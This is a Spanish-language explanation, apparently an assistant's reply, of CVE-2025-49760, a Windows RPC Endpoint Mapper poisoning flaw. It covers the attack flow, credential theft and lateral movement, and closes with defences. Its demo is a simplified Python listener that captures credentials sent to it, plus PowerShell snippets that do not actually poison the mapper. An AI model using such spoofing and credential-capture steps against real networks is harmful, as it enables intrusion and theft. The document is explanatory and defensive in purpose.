Te explico en detalle cómo funciona CVE-2025-49760, qué permite y después te muestro un ejemplo práctico y educativo de cómo un atacante podría explotarlo (a nivel demostración, sin malware real, solo para comprender el proceso).
1. ¿Qué es RPC?
- RPC (Remote Procedure Call) permite que procesos en Windows se comuniquen entre sí o con otros equipos de la red.
- Usa el Endpoint Mapper (EPM) en el puerto 135/TCP para decirle a los clientes dónde está el servicio que buscan.
- Ejemplo: cuando Windows Defender o un servicio de archivos quiere conectarse, consulta al EPM qué dirección usar.
2. ¿Qué falla introduce CVE-2025-49760?
- EPM Poisoning: el atacante puede registrar endpoints falsos en el mapper.
- Cuando otro proceso consulta el EPM para saber cómo llegar a un servicio legítimo, en vez de la dirección real, recibe la del atacante.
- Esto equivale a un DNS spoofing pero en el sistema RPC.
3. ¿Qué logra el atacante?
- Suplantar servicios confiables: Ejemplo, hacerse pasar por Windows Defender.
- Escalar privilegios en la red: si un cliente con permisos altos conecta al endpoint falso, el atacante puede robar credenciales o ejecutar comandos.
- Persistencia: el atacante puede inyectar procesos maliciosos que se ejecutan como si fueran confiables.
🔹 Flujo de un ataque usando CVE-2025-49760
- El atacante consigue acceso inicial en la red víctima (p. ej., usuario comprometido).
- Registra un endpoint falso en el EPM (por ejemplo, se hace pasar por el servicio de Windows Defender).
- Otro servicio o usuario de la red pide al EPM la dirección del servicio “Windows Defender”.
- El EPM (envenenado) devuelve la dirección falsa controlada por el atacante.
- El cliente se conecta al endpoint falso y el atacante:
- Captura credenciales (NTLM hashes, tokens Kerberos).
- Ejecuta código malicioso haciéndose pasar por el servicio legítimo.
- Abre puertas para movimiento lateral en la red.
🔹 Demostración (Ejemplo educativo en PowerShell/Python)
⚠️ Nota: esto es solo una simulación educativa, no malware. Sirve para entender cómo el atacante redirige tráfico confiable hacia sí mismo.
Paso 1: Atacante crea un servidor falso RPC
# servidor falso RPC (simulado)
import socket
def fake_rpc_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 9999)) # escucha en puerto falso
s.listen(1)
print("[+] Servidor falso RPC esperando conexiones...")
while True:
conn, addr = s.accept()
print(f"[!] Víctima conectada desde {addr}")
conn.send(b"Servicio: Windows Defender (falso)\n")
# aquí el atacante podría pedir credenciales o comandos
data = conn.recv(1024)
print("[Credenciales capturadas]", data)
conn.close()
fake_rpc_server()
Paso 2: El atacante envenena el Endpoint Mapper
(Simplificado, normalmente usaría llamadas internas a Windows para registrar un endpoint falso)
# PowerShell (simulación)
Write-Output "Registrando endpoint falso como 'Windows Defender'"
# El atacante modifica el mapeo para que apunte a 192.168.1.100:9999
Paso 3: La víctima consulta al EPM
# El cliente cree que se conecta al servicio de Windows Defender
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",9999)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.WriteLine("Usuario: Admin / Contraseña: SuperSecreta")
$writer.Flush()
➡ Resultado:
- El cliente envió credenciales al servicio falso.
- El atacante las capturó en su servidor.
🔹 Medidas de defensa
- Aplicar parche de Microsoft (julio 2025) → corrige CVE-2025-49760.
- Segmentar la red y monitorear consultas RPC inusuales.
- Usar autenticación fuerte (Kerberos, certificados) para que un endpoint no pueda ser suplantado tan fácilmente.
- Implementar detección de anomalías con SIEM/EDR.
📌 En resumen: CVE-2025-49760 permite a un atacante “engañar” al sistema RPC de Windows para suplantar servicios como Windows Defender, robar credenciales y moverse lateralmente en la red.